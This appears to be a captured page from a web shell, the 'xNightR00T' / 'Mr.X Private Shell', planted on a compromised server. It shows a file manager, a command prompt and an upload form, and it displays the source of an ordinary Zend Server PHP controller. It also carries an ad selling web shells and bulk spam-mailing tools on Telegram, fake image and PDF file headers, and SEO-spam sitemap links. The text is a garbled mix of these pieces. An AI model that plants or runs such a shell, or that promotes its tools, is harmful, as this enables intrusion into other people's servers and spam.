xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php
/**
 * This controller/action is a proxy for static resource files inside UI plugins.
 * UI plugin is a standard ZF2 module. In order to use static files (js/css/images/...), the module
 * should have "public" folder. To get the file "MyZF2ModuleName/public/myImage.jpg", the user can use
 *
 * http://localhost:10081/ZendServer/ModuleResource/MyZF2ModuleName/myImage
 *
 * (!)Limitation: Please note that there's no file extension in the URL, what means that the
 * names of the files should be unique
 */

namespace Application\Controller;

use ZendServer\Mvc\Controller\ActionController;
use ZendServer\Log\Log;
use \Servers\Configuration\Mapper;

class ModuleResourceController extends ActionController
{

    public function indexAction()
    {
        // get the requested resource parameters
        $moduleName   = $this->params()->fromRoute('moduleName', null);
        $resourceName = $this->params()->fromRoute('resourceName', null);

        // validate the input
        if (!$moduleName || !is_string($moduleName) || strlen($moduleName) < 2 || strlen($moduleName) > 250) {
            $this->throwException(_t('Module name is not valid'));
        }
        if (!$resourceName || !is_string($resourceName) || strlen($resourceName) < 2 || strlen($resourceName) > 250) {
            $this->throwException(_t('Resource name is not valid'));
        }

        // check that the module exists
        /* @var Zend\ModuleManager\ModuleManager */
        $manager       = $this->getServiceLocator()->get('ModuleManager');
        $loadedModules = $manager->getModules();
        if (!in_array($moduleName, $loadedModules)) {
            $this->throwException(_t('Module "%s" does not exists', array($moduleName)));
        }

        // find the recources folder in the module
        $appConfig           = $this->getServiceLocator()->get('Application\Config');
        $modulesPaths        = $appConfig['module_listener_options']['module_paths'];
        $moduleResourcesPath = isset($modulesPaths[$moduleName]) ? realpath($modulesPaths[$moduleName].DIRECTORY_SEPARATOR.'public')
                : null;
        if (!$moduleResourcesPath) {
            // find the resources path
            foreach ($modulesPaths as $modulesPath) {
                if (is_dir($modulesPath.DIRECTORY_SEPARATOR.$moduleName.DIRECTORY_SEPARATOR.'public')) {
                    $moduleResourcesPath = realpath($modulesPath.DIRECTORY_SEPARATOR.$moduleName.DIRECTORY_SEPARATOR.'public');
                }
            }

            if (!$moduleResourcesPath) {
                $this->throwException(_t('Cannot find resources folder (public) in the module'));
            }
        }

        // check that the resource exists, and it's under module's folder
        $resourceFilePath = realpath($moduleResourcesPath.DIRECTORY_SEPARATOR.$resourceName);
        if (!file_exists($resourceFilePath) ||
            !is_readable($resourceFilePath) ||
            strpos($resourceFilePath, $moduleResourcesPath) === false ||
            !is_file($resourceFilePath)) {
            $this->throwException(_t('Resource not found'));
        }

        // check that the resource is under the module's "public" folder (security)

        if (!$resourceFilePath) {
            $this->throwException(_t('Resource "%s" was not found', array($resourceName)));
        }

        if (!is_readable($resourceFilePath)) {
            $this->throwException(_t('Not enough permissions to read the resource "%s"', array($resourceName)));
        }

        // determine file's mime type
        $knownMimeTypes   = $this->getServiceLocator()->get('KnownMimeTypes');
        $info             = new \SplFileInfo($resourceFilePath);
        $fileExtension    = $info->getExtension();
        $resourceMimeType = isset($knownMimeTypes[$fileExtension]) ? $knownMimeTypes[$fileExtension] : 'application/unknown';

        header('Content-type: '.$resourceMimeType);
        readfile($resourceFilePath);
        exit;
    }

    /**
     * @brief Send the content to the output buffer
     * @param <unknown> $content
     * @param <unknown> $mimeType
     * @return
     */
    protected function throwException($errorMessage)
    {
        header("HTTP/1.0 404 Not Found");
        echo $errorMessage;
        exit();
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
ImportExportController.php File 1.95 KB 0644
IndexController.php File 6.37 KB 0644
LoginController.php File 19.81 KB 0644
ModuleResourceController.php File 4.2 KB 0644
SettingsController.php File 28.99 KB 0644
UnderconstructionController.php File 745 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml